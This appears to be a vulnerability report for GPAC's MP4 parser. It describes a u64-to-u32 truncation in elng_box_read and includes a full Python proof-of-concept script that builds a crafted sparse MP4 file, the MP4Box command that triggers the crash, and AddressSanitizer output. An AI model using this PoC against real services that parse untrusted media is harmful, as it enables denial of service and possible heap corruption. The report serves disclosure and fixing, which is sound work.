| Description | Summary
An integer truncation vulnerability exists in src/isomedia/box_code_base.c in the elng_box_read() function. When parsing a crafted MP4 file containing an elng (Extended Language) box with a 64-bit largesize header, the box payload size ptr->size (type u64) is silently truncated to u32 for memory allocation, but the original 64-bit value is later used as an array index, resulting in a heap out-of-bounds read approximately 4 GB past the allocated buffer.
Vulnerability Details
Location: src/isomedia/box_code_base.c:3684–3692
Vulnerable Code:
GF_Err elng_box_read(GF_Box *s, GF_BitStream *bs)
{
GF_ExtendedLanguageBox *ptr = (GF_ExtendedLanguageBox *)s;
if (ptr->size) {
ptr->extended_language = (char*)gf_malloc((u32) ptr->size); // [3684] u64 → u32 truncation
if (ptr->extended_language == NULL) return GF_OUT_OF_MEM;
gf_bs_read_data(bs, ptr->extended_language, (u32) ptr->size); // [3686] truncated read size
if (ptr->extended_language[ptr->size-1]) { // [3688] u64 index → OOB READ
char *str = (char*)gf_malloc((u32) ptr->size + 1); // [3689] truncated again
if (!str) return GF_OUT_OF_MEM;
memcpy(str, ptr->extended_language, (u32) ptr->size);
str[ptr->size] = 0; // [3692] u64 index → OOB WRITE
gf_free(ptr->extended_language);
ptr->extended_language = str;
}
}
return GF_OK;
}
The vulnerability is triggered when:
An elng box uses the ISOBMFF largesize extension (size field = 1, followed by an 8-byte largesize), with the high 32 bits of largesize non-zero (e.g. 0x100000020)
GPAC parses the file through a path where gf_bs_available(bs) is large enough to pass the INCOMPLETE_FILE guard in gf_isom_box_parse_ex (line 343), so that elng_box_read is actually invoked with the full u64 ptr->size
Root Cause
ISOBMFF stores box sizes in GF_Box.size as u64. The elng_box_read function applies (u32) casts to ptr->size when calling gf_malloc and gf_bs_read_data, truncating a value such as 0x10000000C to 12. However, lines 3688 and 3692 use the original ptr->size (still 0x10000000C) as an array subscript without any cast, indexing approximately 4 GB beyond the 12-byte allocation. This is the same truncation anti-pattern guarded against in other box readers (e.g. co64_box_read) but missed here.
The elng box is valid inside extk containers (box_funcs.c:1245, parents "mdia extk ipco"), and extk is valid directly inside moov (box_funcs.c:1219). A Linux sparse file is used to satisfy the gf_bs_available check: gf_bs_available() returns bs->size - bs->position where bs->size is captured from fstat().st_size at open time. Because fstat reports the logical file size of a sparse file (e.g. 8 GB) regardless of actual disk usage, a file containing only 64 bytes of real box headers but declared as 8 GB causes gf_bs_available to return ~8 GB at the point of parsing the elng box, making 0x100000010 < 8 GB evaluate to true and allowing elng_box_read to proceed.
Steps to Reproduce
Requirements: Linux (sparse file support; ext4/xfs/btrfs), Python 3, GPAC compiled with AddressSanitizer (--enable-sanitizer).
1. Generate the PoC file
Save the following script as poc_elng.py and run it. It writes 64 bytes of real MP4 box data and then extends the file to 8 GB as a sparse file (actual disk usage stays under 4 KB).
#!/usr/bin/env python3
"""
VULN-001 PoC: elng box u64->u32 truncation -> heap OOB read/write
Affected: src/isomedia/box_code_base.c:3684-3692 (elng_box_read)
Trigger mechanism: Linux sparse file makes gf_bs_available() return ~8 GB,
bypassing the INCOMPLETE_FILE guard in gf_isom_box_parse_ex(), so
elng_box_read() is reached with the full u64 ptr->size = 0x10000000C.
gf_malloc((u32)ptr->size) allocates only 12 bytes, but
ptr->extended_language[ptr->size - 1] indexes 4 GB past the buffer.
"""
import struct, os
OUT = "poc_elng.mp4"
# ISOBMFF largesize box: 4B size=1, 4B type, 8B largesize, then content
def large_box(box_type: bytes, largesize: int, content: bytes = b"") -> bytes:
return struct.pack(">I4sQ", 1, box_type, largesize) + content
# Box tree: moov -> extk -> elng
# elng largesize = 0x100000020
# -> ptr->size (u64) = 0x100000020 - 16 (hdr) - 4 (fullbox) = 0x10000000C
# -> (u32) ptr->size = 12 [malloc/read arg, TRUNCATED]
# -> ptr->extended_language[0x10000000B] = OOB READ ~4 GB past buffer
ELNG_LARGESIZE = 0x100000020
EXTK_LARGESIZE = 0x100000030
MOOV_LARGESIZE = 0x100000040
elng_payload = struct.pack(">I", 0) # fullbox version=0 flags=0
elng_payload += b"A" * 12 # 12 non-zero bytes so buf[0] != 0,
# ensuring the OOB branch is taken
elng = large_box(b"elng", ELNG_LARGESIZE, elng_payload) # 32 bytes
extk = large_box(b"extk", EXTK_LARGESIZE, elng) # 48 bytes
moov = large_box(b"moov", MOOV_LARGESIZE, extk) # 64 bytes
with open(OUT, "wb") as f:
f.write(moov) # write 64 bytes of real data
os.truncate(OUT, 0x200000000) # extend to 8 GB (sparse, <4 KB on disk)
print(f"[+] {OUT} created")
print(f" logical size : {os.path.getsize(OUT):,} bytes (8 GB)")
print(f" real data : {len(moov)} bytes")
print(f" ptr->size : 0x10000000C (u64)")
print(f" malloc arg : 12 ((u32) truncation)")
print(f" OOB index : 0x10000000B (~4 GB past buffer)")
python3 poc_elng.py
Expected output:
[+] poc_elng.mp4 created
logical size : 8,589,934,592 bytes (8 GB)
real data : 64 bytes
ptr->size : 0x10000000C (u64)
malloc arg : 12 ((u32) truncation)
OOB index : 0x10000000B (~4 GB past buffer)
Verify that the file is sparse (actual disk usage should be ~4 KB, not 8 GB):
ls -lh poc_elng.mp4 # shows 8.0G (logical)
du -sh poc_elng.mp4 # shows ~4.0K (real disk usage)
2. Trigger the vulnerability
/path/to/MP4Box -info poc_elng.mp4 2>&1
Because the binary is linked against libasan, the ASAN runtime is always active. The process will crash with SEGV immediately:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==PID==ERROR: AddressSanitizer: SEGV on unknown address ...
==PID==The signal is caused by a READ memory access.
#0 ... in elng_box_read (.../libgpac.so.16+...)
#1 ... in gf_isom_box_parse_ex ...
#2 ... in gf_isom_box_array_read ...
#3 ... in trak_box_read ...
...
rax = 0x000000010000000c <- ptr->size (u64), high 32 bits = 0x1
rdi = 0x000000010000000b <- ptr->size - 1, the OOB index (~4 GB)
SUMMARY: AddressSanitizer: SEGV ... in elng_box_read
==PID==ABORTING
The registers confirm the truncation: rax holds the full u64 ptr->size = 0x10000000C, while only 12 bytes ((u32)0x10000000C = 12) were allocated.
3. Verify with AddressSanitizer
To suppress leak reports and force abort on the OOB signal:
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \
/path/to/MP4Box -info poc_elng.mp4 2>&1
The output is identical to step 2. The crash is 100% reproducible.
Expected Result
No crash. An elng box whose largesize exceeds the u32 range should be rejected with GF_ISOM_INVALID_FILE before any memory allocation occurs.
Actual Result
AddressSanitizer:DEADLYSIGNAL
=================================================================
==190737==ERROR: AddressSanitizer: SEGV on unknown address 0x7b33ba3e0ddb
==190737==The signal is caused by a READ memory access.
#0 0x7f12be8c5ce7 in elng_box_read
(/home/vuln/gpac/build/lib/libgpac.so.16+0x20c5ce7)
#1 0x7f12be9793d4 in gf_isom_box_parse_ex
(/home/vuln/gpac/build/lib/libgpac.so.16+0x21793d4)
#2 0x7f12be97e922 in gf_isom_box_array_read
(/home/vuln/gpac/build/lib/libgpac.so.16+0x217e922)
#3 0x7f12be8e52f1 in trak_box_read
(/home/vuln/gpac/build/lib/libgpac.so.16+0x20e52f1)
#4 0x7f12be9793d4 in gf_isom_box_parse_ex
(/home/vuln/gpac/build/lib/libgpac.so.16+0x21793d4)
#5 0x7f12be97e922 in gf_isom_box_array_read
(/home/vuln/gpac/build/lib/libgpac.so.16+0x217e922)
#6 0x7f12be9793d4 in gf_isom_box_parse_ex
(/home/vuln/gpac/build/lib/libgpac.so.16+0x21793d4)
#7 0x7f12be97b461 in gf_isom_parse_root_box
(/home/vuln/gpac/build/lib/libgpac.so.16+0x217b461)
#8 0x7f12be99ec3e in gf_isom_parse_movie_boxes
(/home/vuln/gpac/build/lib/libgpac.so.16+0x219ec3e)
#9 0x7f12be9a4d61 in gf_isom_open_file
(/home/vuln/gpac/build/lib/libgpac.so.16+0x21a4d61)
#10 0x55a5710073d5 in mp4box_main
/home/vuln/gpac/repo/applications/mp4box/mp4box.c:6480
==190737==Register values:
rax = 0x000000010000000c rbx = 0x00007bf2ba3e0040
rdi = 0x000000010000000b r12 = 0x0000000100000020
SUMMARY: AddressSanitizer: SEGV in elng_box_read
==190737==ABORTING
Key register values confirm the truncation:
rax = 0x000000010000000c — ptr->size (u64, high 32 bits = 0x1)
rdi = 0x000000010000000b — ptr->size - 1 (the OOB array index, ~4 GB)
rbx = 0x00007bf2ba3e0040 — buf base address (gf_malloc(12) return value, only 12 bytes allocated)
r12 = 0x0000000100000020 — elng largesize as constructed
Impact
Out-of-bounds Read (CWE-125): Heap memory ~4 GB past the allocation is read, potentially leaking sensitive data from adjacent mappings
Out-of-bounds Write (CWE-787): If execution reaches line 3692, a null byte is written at str[ptr->size], ~4 GB past a second heap allocation, enabling potential heap metadata corruption
Denial of Service: The crash is 100% reproducible; any service parsing untrusted MP4 files is affected
Attack Vector: A malicious MP4 file delivered to any application using libgpac for file parsing is sufficient; no authentication or privileges required
Suggested Fix
Reject l |
|---|